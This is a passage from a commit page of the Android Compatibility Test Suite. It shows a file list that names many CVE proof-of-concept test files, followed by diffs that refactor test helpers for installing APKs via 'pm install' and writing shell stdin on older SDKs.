summaryrefslogtreecommitdiff
diff options
context:
space:
mode:
authorAndroid Build Coastguard Worker <android-build-coastguard-worker@google.com>2022-03-15 18:57:55 +0000
committerAndroid Build Coastguard Worker <android-build-coastguard-worker@google.com>2022-03-15 18:57:55 +0000
commita85ecff24813854181f2380fdc21f37ef50854ce (patch)
tree149b4abc937f44c48169d1b83875daa691f932c2
parent91f9548c323b8d7b081a22b7afe9427fe0dfd95f (diff)
parenta06e0c12199c9928f45b904a040f19438a8bdc31 (diff)
downloadcts-android12-mainline-sdkext-release.tar.gz
Snap for 8303596 from a06e0c12199c9928f45b904a040f19438a8bdc31 to mainline-sdkext-releaseandroid-mainline-12.0.0_r109aml_sdk_311710000android12-mainline-sdkext-release
Change-Id: Idcf9f630e2740fd3ee27d29645b82518a6b80990
-rw-r--r--common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/packages/Packages.java136
-rw-r--r--common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/utils/ShellCommandUtils.java30
-rw-r--r--hostsidetests/appcloning/Android.bp38
-rw-r--r--hostsidetests/appcloning/AndroidTestAppCloning.xml (renamed from hostsidetests/scopedstorage/AndroidTestAppCloning.xml)32
-rw-r--r--hostsidetests/appcloning/OWNERS6
-rw-r--r--hostsidetests/appcloning/TEST_MAPPING7
-rw-r--r--hostsidetests/appcloning/hostside/src/com/android/cts/appcloning/AppCloningHostTest.java (renamed from hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/AppCloningHostTest.java)36
-rw-r--r--hostsidetests/appcloning/hostside/src/com/android/cts/appcloning/BaseHostTestCase.java108
-rw-r--r--hostsidetests/appcloning/test-apps/AppCloningTestApp/Android.bp31
-rw-r--r--hostsidetests/appcloning/test-apps/AppCloningTestApp/AndroidManifest.xml32
-rw-r--r--hostsidetests/appcloning/test-apps/AppCloningTestApp/src/com/android/cts/appcloningtestapp/AppCloningDeviceTest.java25
-rw-r--r--hostsidetests/appcompat/strictjavapackages/Android.bp2
-rw-r--r--hostsidetests/scopedstorage/Android.bp171
-rw-r--r--hostsidetests/scopedstorage/AndroidTest.xml6
-rw-r--r--hostsidetests/scopedstorage/CoreTest.xml6
-rw-r--r--hostsidetests/scopedstorage/ScopedStorageTestHelper/src/android/scopedstorage/cts/ScopedStorageTestHelper.java6
-rw-r--r--hostsidetests/scopedstorage/device/AndroidTest.xml5
-rw-r--r--hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/ScopedStorageDeviceTest.java64
-rw-r--r--hostsidetests/scopedstorage/legacy/src/android/scopedstorage/cts/legacy/LegacyStorageTest.java15
-rw-r--r--hostsidetests/scopedstorage/libs/ScopedStorageTestLib/src/android/scopedstorage/cts/lib/TestUtils.java68
-rw-r--r--hostsidetests/scopedstorage/src/android/scopedstorage/cts/ScopedStorageTest.java16
-rw-r--r--hostsidetests/securitybulletin/Android.bp3
-rw-r--r--hostsidetests/securitybulletin/res/cve_2020_0034.ivfbin0 -> 100 bytes
-rw-r--r--hostsidetests/securitybulletin/res/cve_2021_39664bin0 -> 1199 bytes
-rw-r--r--hostsidetests/securitybulletin/securityPatch/CVE-2018-9558/poc.cpp54
-rw-r--r--hostsidetests/securitybulletin/securityPatch/CVE-2019-2012/Android.bp (renamed from hostsidetests/securitybulletin/securityPatch/CVE-2021-0684/Android.bp)35
-rw-r--r--hostsidetests/securitybulletin/securityPatch/CVE-2019-2012/poc.cpp175
-rw-r--r--hostsidetests/securitybulletin/securityPatch/CVE-2019-2017/Android.bp38
-rw-r--r--hostsidetests/securitybulletin/securityPatch/CVE-2019-2017/poc.cpp73
-rw-r--r--hostsidetests/securitybulletin/securityPatch/CVE-2019-2020/Android.bp38
-rw-r--r--hostsidetests/securitybulletin/securityPatch/CVE-2019-2020/poc.cpp80
-rw-r--r--hostsidetests/securitybulletin/securityPatch/CVE-2019-2031/Android.bp44
-rw-r--r--hostsidetests/securitybulletin/securityPatch/CVE-2019-2031/poc.cpp176
-rw-r--r--hostsidetests/securitybulletin/securityPatch/CVE-2020-0034/Android.bp42
-rw-r--r--hostsidetests/securitybulletin/securityPatch/CVE-2020-0034/poc.cpp109
-rw-r--r--hostsidetests/securitybulletin/securityPatch/CVE-2020-0073/poc.cpp23
-rw-r--r--hostsidetests/securitybulletin/securityPatch/CVE-2021-0430/Android.bp2
-rw-r--r--hostsidetests/securitybulletin/securityPatch/CVE-2021-0430/poc.cpp108
-rw-r--r--hostsidetests/securitybulletin/securityPatch/CVE-2021-0684/TestInputListener.cpp111
-rw-r--r--hostsidetests/securitybulletin/securityPatch/CVE-2021-0684/TestInputListener.h85
-rw-r--r--hostsidetests/securitybulletin/securityPatch/CVE-2021-0684/poc.cpp1236
-rw-r--r--hostsidetests/securitybulletin/securityPatch/CVE-2021-39664/Android.bp38
-rw-r--r--hostsidetests/securitybulletin/securityPatch/CVE-2021-39664/poc.cpp65
-rw-r--r--hostsidetests/securitybulletin/securityPatch/CVE-2021-39665/Android.bp38
-rw-r--r--hostsidetests/securitybulletin/securityPatch/CVE-2021-39665/poc.cpp84
-rw-r--r--hostsidetests/securitybulletin/securityPatch/CVE-2021-39675/Android.bp39
-rw-r--r--hostsidetests/securitybulletin/securityPatch/CVE-2021-39675/poc.cpp22
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/Bug_183613671.java4
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/Bug_183963253.java4
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9558.java22
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2012.java56
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2017.java56
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2020.java57
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2031.java56
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0015.java52
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0034.java52
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0073.java3
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0305.java4
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0430.java27
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0481.java4
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0523.java92
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0586.java4
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0591.java4
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0642.java56
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0685.java4
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0691.java4
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0693.java4
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0706.java4
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0921.java4
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0953.java43
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0965.java16
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39664.java56
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39665.java51
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39675.java (renamed from hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0684.java)24
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39692.java52
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39700.java51
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39702.java52
-rw-r--r--hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java17
-rw-r--r--hostsidetests/securitybulletin/test-apps/BUG-183963253/src/android/security/cts/BUG_183963253/DeviceTest.java3
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2020-0015/Android.bp35
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2020-0015/AndroidManifest.xml36
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2020-0015/res/raw/cacertbin0 -> 712 bytes
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2020-0015/res/values/strings.xml38
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2020-0015/src/android/security/cts/CVE_2020_0015/DeviceTest.java141
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2020-0015/src/android/security/cts/CVE_2020_0015/PocService.java90
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-0523/Android.bp13
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-0523/AndroidManifest.xml12
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-0523/res/values/strings.xml19
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-0523/src/android/security/cts/CVE_2021_0523/DeviceTest.java107
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-0523/src/android/security/cts/CVE_2021_0523/PocActivity.java51
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-0523/src/android/security/cts/CVE_2021_0523/PocService.java24
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-0586/src/android/security/cts/CVE_2021_0586/DeviceTest.java41
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-0642/Android.bp33
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-0642/AndroidManifest.xml44
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-0642/res/layout/activity_main.xml26
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/DeviceTest.java100
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/PocActivity.java22
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-0953/Android.bp40
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-0953/AndroidManifest.xml45
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-0953/res/layout/activity_main.xml27
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-0953/res/layout/vulnerable_activity_main.xml26
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-0953/res/values/integers.xml22
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-0953/res/values/strings.xml22
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-0953/src/android/security/cts/CVE_2021_0953/DeviceTest.java100
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-0953/src/android/security/cts/CVE_2021_0953/PocActivity.java260
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-0953/src/android/security/cts/CVE_2021_0953/PocVulnerableActivity.java27
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-0965/Android.bp2
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-0965/src/android/security/cts/CVE_2021_0965/DeviceTest.java62
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-39692/Android.bp35
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-39692/AndroidManifest.xml58
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-39692/res/values/strings.xml31
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-39692/res/xml/device_admin_receiver.xml30
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-39692/src/android/security/cts/CVE_2021_39692/DeviceTest.java127
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-39692/src/android/security/cts/CVE_2021_39692/PocActivity.java57
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-39692/src/android/security/cts/CVE_2021_39692/PocDeviceAdminReceiver.java29
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-39692/src/android/security/cts/CVE_2021_39692/PocService.java90
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-39702/Android.bp31
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-39702/AndroidManifest.xml37
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-39702/res/values/strings.xml34
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-39702/src/android/security/cts/CVE_2021_39702/DeviceTest.java124
-rw-r--r--hostsidetests/securitybulletin/test-apps/CVE-2021-39702/src/android/security/cts/CVE_2021_39702/PocService.java90
-rw-r--r--tests/MediaProviderTranscode/Android.bp4
-rw-r--r--tests/MediaProviderTranscode/AndroidTest.xml9
-rw-r--r--tests/PhotoPicker/Android.bp2
-rw-r--r--tests/PhotoPicker/AndroidTest.xml5
-rw-r--r--tests/PhotoPicker/res/raw/test_video.mp4bin0 -> 135632 bytes
-rw-r--r--tests/PhotoPicker/res/raw/test_video_dng.mp4 (renamed from tests/PhotoPicker/res/raw/testvideo_meta.mp4)bin20716 -> 20716 bytes
-rw-r--r--tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerBaseTest.java20
-rw-r--r--tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerCrossProfileTest.java75
-rw-r--r--tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerTest.java430
-rw-r--r--tests/PhotoPicker/src/android/photopicker/cts/util/PhotoPickerAssertionsUtils.java53
-rw-r--r--tests/PhotoPicker/src/android/photopicker/cts/util/PhotoPickerFilesUtils.java59
-rw-r--r--tests/app/src/android/app/cts/NotificationManagerTest.java26
-rw-r--r--tests/net/Android.bp24
-rw-r--r--tests/net/OWNERS3
-rw-r--r--tests/net/TEST_MAPPING7
-rw-r--r--tests/net/src/android/net/cts/LocalSocketTest.java471
-rw-r--r--tests/providerui/AndroidManifest.xml4
-rw-r--r--tests/providerui/src/android/providerui/cts/MediaStoreUiTest.java189
-rw-r--r--tests/tests/content/TEST_MAPPING22
-rw-r--r--tests/tests/permission3/Android.bp1
-rw-r--r--tests/tests/permission3/AndroidTest.xml1
-rw-r--r--tests/tests/permission3/UsePermissionApp31/Android.bp32
-rw-r--r--tests/tests/permission3/UsePermissionApp31/AndroidManifest.xml28
-rw-r--r--tests/tests/permission3/src/android/permission3/cts/BasePermissionTest.kt4
-rw-r--r--tests/tests/permission3/src/android/permission3/cts/BaseUsePermissionTest.kt4
-rw-r--r--tests/tests/permission3/src/android/permission3/cts/SensorBlockedBannerTest.kt157
-rw-r--r--tests/tests/provider/src/android/provider/cts/media/MediaStoreUtils.java12
-rw-r--r--tests/tests/security/Android.bp2
-rw-r--r--tests/tests/security/AndroidManifest.xml4
-rw-r--r--tests/tests/security/aidl/android/security/cts/IBitmapService.aidl25
-rw-r--r--tests/tests/security/src/android/security/cts/ActivityManagerTest.java16
-rw-r--r--tests/tests/security/src/android/security/cts/AllocatePixelRefIntOverflowTest.java13
-rw-r--r--tests/tests/security/src/android/security/cts/AmbiguousBundlesTest.java17
-rw-r--r--tests/tests/security/src/android/security/cts/AndroidFutureTest.java3
-rw-r--r--tests/tests/security/src/android/security/cts/AssetManagerTest.java10
-rw-r--r--tests/tests/security/src/android/security/cts/AttributionSourceTest.java54
-rw-r--r--tests/tests/security/src/android/security/cts/AudioSecurityTest.java15
-rw-r--r--tests/tests/security/src/android/security/cts/BigRleTest.java12
-rw-r--r--tests/tests/security/src/android/security/cts/BinderExploitTest.java11
-rw-r--r--tests/tests/security/src/android/security/cts/BitmapFactoryDecodeStreamTest.java19
-rw-r--r--tests/tests/security/src/android/security/cts/BitmapFactorySecurityTests.java17
-rw-r--r--tests/tests/security/src/android/security/cts/BitmapService.java50
-rw-r--r--tests/tests/security/src/android/security/cts/BitmapTest.java173
-rw-r--r--tests/tests/security/src/android/security/cts/BitmapWrapper.java125
-rw-r--r--tests/tests/security/src/android/security/cts/BluetoothIntentsTest.java12
-rw-r--r--tests/tests/security/src/android/security/cts/CVE_2020_0294.java4
-rw-r--r--tests/tests/security/src/android/security/cts/CVE_2021_0309.java4
-rw-r--r--tests/tests/security/src/android/security/cts/CVE_2021_0327/CVE_2021_0327.java3
-rw-r--r--tests/tests/security/src/android/security/cts/CVE_2021_0339.java5
-rw-r--r--tests/tests/security/src/android/security/cts/CVE_2021_0341.java221
-rw-r--r--tests/tests/security/src/android/security/cts/CVE_2021_0394.java3
-rw-r--r--tests/tests/security/src/android/security/cts/CVE_2021_0521.java3
-rw-r--r--tests/tests/security/src/android/security/cts/CVE_2021_0922.java3
-rw-r--r--tests/tests/security/src/android/security/cts/CVE_2021_0934.java59
-rw-r--r--tests/tests/security/src/android/security/cts/CVE_2021_39663.java72
-rw-r--r--tests/tests/security/src/android/security/cts/ConscryptIntermediateVerificationTest.java11
-rw-r--r--tests/tests/security/src/android/security/cts/DecodeTest.java17
-rw-r--r--tests/tests/security/src/android/security/cts/EffectBundleTest.java28
-rw-r--r--tests/tests/security/src/android/security/cts/FlagSlipperyTest.kt20
-rw-r--r--tests/tests/security/src/android/security/cts/IsolatedProcessTest.java29
-rw-r--r--tests/tests/security/src/android/security/cts/MediaMetadataRetrieverTest.java24
-rw-r--r--tests/tests/security/src/android/security/cts/MediaRecorderInfoLeakTest.java12
-rw-r--r--tests/tests/security/src/android/security/cts/MediaServerCrashTest.java29
-rw-r--r--tests/tests/security/src/android/security/cts/Movie33897722.java17
-rw-r--r--tests/tests/security/src/android/security/cts/NanoAppBundleTest.java26
-rw-r--r--tests/tests/security/src/android/security/cts/NativeCodeTest.java11
-rw-r--r--tests/tests/security/src/android/security/cts/NetdTest.java9
-rw-r--r--tests/tests/security/src/android/security/cts/OutputConfigurationTest.java11
-rw-r--r--tests/tests/security/src/android/security/cts/ParcelableExceptionTest.java13
-rw-r--r--tests/tests/security/src/android/security/cts/PutOverflowTest.java12
-rw-r--r--tests/tests/security/src/android/security/cts/RunningAppProcessInfoTest.java13
-rw-r--r--tests/tests/security/src/android/security/cts/SQLiteTest.java18
-rw-r--r--tests/tests/security/src/android/security/cts/STKFrameworkTest.java26
-rw-r--r--tests/tests/security/src/android/security/cts/SkiaICORecursiveDecodingTest.java13
-rw-r--r--tests/tests/security/src/android/security/cts/StagefrightTest.java13
-rw-r--r--tests/tests/security/src/android/security/cts/VisualizerEffectTest.java17
-rw-r--r--tests/tests/security/src/android/security/cts/ZeroHeightTiffTest.java14
-rw-r--r--tests/tests/telecom/AndroidManifest.xml8
-rw-r--r--tests/tests/telecom/src/android/telecom/cts/NullBindingConnectionService.java49
-rw-r--r--tests/tests/telecom/src/android/telecom/cts/NullBindingTest.java84
-rw-r--r--tests/tests/textclassifier/src/android/view/textclassifier/cts/SelectionEventTest.java25
-rw-r--r--tests/tests/textclassifier/src/android/view/textclassifier/cts/TextLinksTest.java2
-rw-r--r--tests/tests/uiautomation/src/android/app/uiautomation/cts/UiAutomationTestFirstActivity.java1
-rw-r--r--tests/tests/uiautomation/src/android/app/uiautomation/cts/UiAutomationTestSecondActivity.java1
-rw-r--r--tests/tests/wifi/src/android/net/wifi/cts/MultiStaConcurrencyWifiNetworkSpecifierTest.java8
-rw-r--r--tests/tests/wifi/src/android/net/wifi/cts/TestHelper.java2
207 files changed, 7540 insertions, 2354 deletions
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/packages/Packages.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/packages/Packages.java
index af75f79466e..7966e20547e 100644
--- a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/packages/Packages.java
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/packages/Packages.java
@@ -17,6 +17,11 @@
package com.android.bedstead.nene.packages;
import static android.Manifest.permission.INTERACT_ACROSS_USERS_FULL;
+import static android.content.pm.PackageInstaller.EXTRA_STATUS;
+import static android.content.pm.PackageInstaller.EXTRA_STATUS_MESSAGE;
+import static android.content.pm.PackageInstaller.STATUS_FAILURE;
+import static android.content.pm.PackageInstaller.STATUS_SUCCESS;
+import static android.content.pm.PackageInstaller.SessionParams.MODE_FULL_INSTALL;
import static android.os.Build.VERSION.SDK_INT;
import static com.android.bedstead.nene.users.User.UserState.RUNNING_UNLOCKED;
@@ -27,6 +32,7 @@ import android.content.Context;
import android.content.Intent;
import android.content.IntentFilter;
import android.os.Build;
+import android.util.Log;
import androidx.annotation.CheckResult;
import androidx.annotation.Nullable;
@@ -45,8 +51,6 @@ import com.android.bedstead.nene.utils.ShellCommandUtils;
import com.android.bedstead.nene.utils.Versions;
import com.android.compatibility.common.util.BlockingBroadcastReceiver;
-import com.google.common.io.Files;
-
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
@@ -56,6 +60,7 @@ import java.util.HashSet;
import java.util.Map;
import java.util.Objects;
import java.util.Set;
+import java.util.stream.Collectors;
/**
* Test APIs relating to packages.
@@ -207,13 +212,6 @@ public final class Packages {
return install(user, loadBytes(apkFile));
}
- User resolvedUser = user.resolve();
-
- if (resolvedUser == null || resolvedUser.state() != RUNNING_UNLOCKED) {
- throw new NeneException("Packages can not be installed in non-started users "
- + "(Trying to install into user " + resolvedUser + ")");
- }
-
BlockingBroadcastReceiver broadcastReceiver =
registerPackageInstalledBroadcastReceiver(user);
@@ -265,111 +263,59 @@ public final class Packages {
* <p>If the package is already installed, this will replace it.
*
* <p>If the package is marked testOnly, it will still be installed.
+ *
+ * <p>When running as an instant app, this will return null. On other versions it will return
+ * the installed package.
*/
public PackageReference install(UserReference user, byte[] apkFile) {
if (user == null || apkFile == null) {
throw new NullPointerException();
}
- if (!Versions.meetsMinimumSdkVersionRequirement(Build.VERSION_CODES.S)) {
- return installPreS(user, apkFile);
- }
+ try {
+ ShellCommand.builderForUser(user, "pm install")
+ .addOperand("-t") // Allow installing test apks
+ .addOperand("-r") // Replace existing apps
+ .addOption("-S", apkFile.length) // Install from stdin
+ .writeToStdIn(apkFile)
+ .validate(ShellCommandUtils::startsWithSuccess)
+ .execute();
+ } catch (AdbException e) {
+ throw new NeneException("Error installing from instant app", e);
+ }
- User resolvedUser = user.resolve();
+ // Arbitrary sleep because the shell command doesn't block and we can't listen for
+ // the broadcast (instant app)
+ try {
+ Thread.sleep(10_000);
+ } catch (InterruptedException e) {
+ throw new NeneException("Interrupted while waiting for install", e);
+ }
- if (resolvedUser == null || resolvedUser.state() != RUNNING_UNLOCKED) {
- throw new NeneException("Packages can not be installed in non-started users "
- + "(Trying to install into user " + resolvedUser + ")");
- }
+ return null;
+ }
+ @Nullable
+ private PackageReference installPreS(UserReference user, byte[] apkFile) {
+ // This is not in the try because if the install fails we don't want to await the broadcast
BlockingBroadcastReceiver broadcastReceiver =
registerPackageInstalledBroadcastReceiver(user);
+
+ // We should install using stdin with the byte array
try {
- // Expected output "Success"
ShellCommand.builderForUser(user, "pm install")
- .addOption("-S", apkFile.length)
- .addOperand("-r")
- .addOperand("-t")
+ .addOperand("-t") // Allow installing test apks
+ .addOperand("-r") // Replace existing apps
+ .addOption("-S", apkFile.length) // Install from stdin
.writeToStdIn(apkFile)
.validate(ShellCommandUtils::startsWithSuccess)
.execute();
-
return waitForPackageAddedBroadcast(broadcastReceiver);
} catch (AdbException e) {
- throw new NeneException("Could not install from bytes for user " + user, e);
- } finally {
- broadcastReceiver.unregisterQuietly();
- }
-
- // TODO(scottjonathan): Re-enable this after we have a TestAPI which allows us to install
- // testOnly apks
-// BlockingBroadcastReceiver broadcastReceiver =
-// registerPackageInstalledBroadcastReceiver(user);
-//
-// PackageManager packageManager =
-// mTestApis.context().androidContextAsUser(user).getPackageManager();
-// PackageInstaller packageInstaller = packageManager.getPackageInstaller();
-//
-// try {
-// int sessionId;
-// try(PermissionContext p =
-// mTestApis.permissions().withPermission(INTERACT_ACROSS_USERS_FULL)) {
-// PackageInstaller.SessionParams sessionParams =
-// new PackageInstaller.SessionParams(MODE_FULL_INSTALL);
-// // TODO(scottjonathan): Enable installing test apps once there is a test
-// // API for this
-//// sessionParams.installFlags =
-// sessionParams.installFlags | INSTALL_ALLOW_TEST;
-// sessionId = packageInstaller.createSession(sessionParams);
-// }
-//
-// PackageInstaller.Session session = packageInstaller.openSession(sessionId);
-// try (OutputStream out =
-// session.openWrite("NAME", 0, apkFile.length)) {
-// out.write(apkFile);
-// session.fsync(out);
-// }
-//
-// try (BlockingIntentSender intentSender = BlockingIntentSender.create()) {
-// try (PermissionContext p =
-// mTestApis.permissions().withPermission(INSTALL_PACKAGES)) {
-// session.commit(intentSender.intentSender());
-// session.close();
-// }
-//
-// Intent intent = intentSender.await();
-// if (intent.getIntExtra(EXTRA_STATUS, /* defaultValue= */ STATUS_FAILURE)
-// != STATUS_SUCCESS) {
-// throw new NeneException("Not successful while installing package. "
-// + "Got status: "
-// + intent.getIntExtra(
-// EXTRA_STATUS, /* defaultValue= */ STATUS_FAILURE)
-// + " exta info: " + intent.getStringExtra(EXTRA_STATUS_MESSAGE));
-// }
-// }
-//
-// return waitForPackageAddedBroadcast(broadcastReceiver);
-// } catch (IOException e) {
-// throw new NeneException("Could not install package", e);
-// } finally {
-// broadcastReceiver.unregisterQuietly();
-// }
- }
-
- private PackageReference installPreS(UserReference user, byte[] apkFile) {
- // Prior to S we cannot pass bytes to stdin so we write it to a temp file first
- File outputDir = mTestApis.context().instrumentedContext().getCacheDir();
- File outputFile = null;
- try {
- outputFile = File.createTempFile("tmp", ".apk", outputDir);
- Files.write(apkFile, outputFile);
- outputFile.setReadable(true, false);
- return install(user, outputFile);
- } catch (IOException e) {
- throw new NeneException("Error when writing bytes to temp file", e);
+ throw new NeneException("Error installing package", e);
} finally {
- if (outputFile != null) {
- outputFile.delete();
+ if (broadcastReceiver != null) {
+ broadcastReceiver.unregisterQuietly();
}
}
}
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/utils/ShellCommandUtils.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/utils/ShellCommandUtils.java
index e61fed06c2d..3a624f33964 100644
--- a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/utils/ShellCommandUtils.java
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/utils/ShellCommandUtils.java
@@ -83,10 +83,7 @@ public final class ShellCommandUtils {
logCommand(command, allowEmptyOutput, stdInBytes);
if (!Versions.meetsMinimumSdkVersionRequirement(S)) {
- if (stdInBytes != null && stdInBytes.length > 0) {
- throw new IllegalStateException("Cannot write to stdIn prior to S");
- }
- return executeCommandPreS(command, allowEmptyOutput);
+ return executeCommandPreS(command, allowEmptyOutput, stdInBytes);
}
// TODO(scottjonathan): Add argument to force errors to stderr
@@ -124,11 +121,7 @@ public final class ShellCommandUtils {
logCommand(command, /* allowEmptyOutput= */ false, stdInBytes);
if (!Versions.meetsMinimumSdkVersionRequirement(S)) {
- if (stdInBytes != null && stdInBytes.length > 0) {
- throw new IllegalStateException("Cannot write to stdIn prior to S");
- }
-
- return executeCommandForBytesPreS(command);
+ return executeCommandForBytesPreS(command, stdInBytes);
}
// TODO(scottjonathan): Add argument to force errors to stderr
@@ -217,10 +210,14 @@ public final class ShellCommandUtils {
}
private static String executeCommandPreS(
- String command, boolean allowEmptyOutput) throws AdbException {
- ParcelFileDescriptor fdOut = uiAutomation().executeShellCommand(command);
+ String command, boolean allowEmptyOutput, byte[] stdIn) throws AdbException {
+ ParcelFileDescriptor[] fds = uiAutomation().executeShellCommandRw(command);
+ ParcelFileDescriptor fdOut = fds[OUT_DESCRIPTOR_INDEX];
+ ParcelFileDescriptor fdIn = fds[IN_DESCRIPTOR_INDEX];
try {
+ writeStdInAndClose(fdIn, stdIn);
+
try (FileInputStream fis = new ParcelFileDescriptor.AutoCloseInputStream(fdOut)) {
String out = new String(FileUtils.readInputStreamFully(fis));
@@ -242,10 +239,17 @@ public final class ShellCommandUtils {
}
}
- private static byte[] executeCommandForBytesPreS(String command) throws AdbException {
- ParcelFileDescriptor fdOut = uiAutomation().executeShellCommand(command);
+ // This is warned for executeShellCommandRw which did exist as TestApi
+ @SuppressWarnings("NewApi")
+ private static byte[] executeCommandForBytesPreS(
+ String command, byte[] stdInBytes) throws AdbException {
+ ParcelFileDescriptor[] fds = uiAutomation().executeShellCommandRw(command);
+ ParcelFileDescriptor fdOut = fds[OUT_DESCRIPTOR_INDEX];
+ ParcelFileDescriptor fdIn = fds[IN_DESCRIPTOR_INDEX];
try {
+ writeStdInAndClose(fdIn, stdInBytes);
+
try (FileInputStream fis = new ParcelFileDescriptor.AutoCloseInputStream(fdOut)) {
return FileUtils.readInputStreamFully(fis);
}
diff --git a/hostsidetests/appcloning/Android.bp b/hostsidetests/appcloning/Android.bp
new file mode 100644
index 00000000000..f1ecc4be33b
--- /dev/null
+++ b/hostsidetests/appcloning/Android.bp
@@ -0,0 +1,38 @@
+// Copyright (C) 2022 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+package {
+ default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+java_test_host {
+ name: "CtsAppCloningHostTest",
+ srcs: [
+ "hostside/src/**/AppCloningHostTest.java",
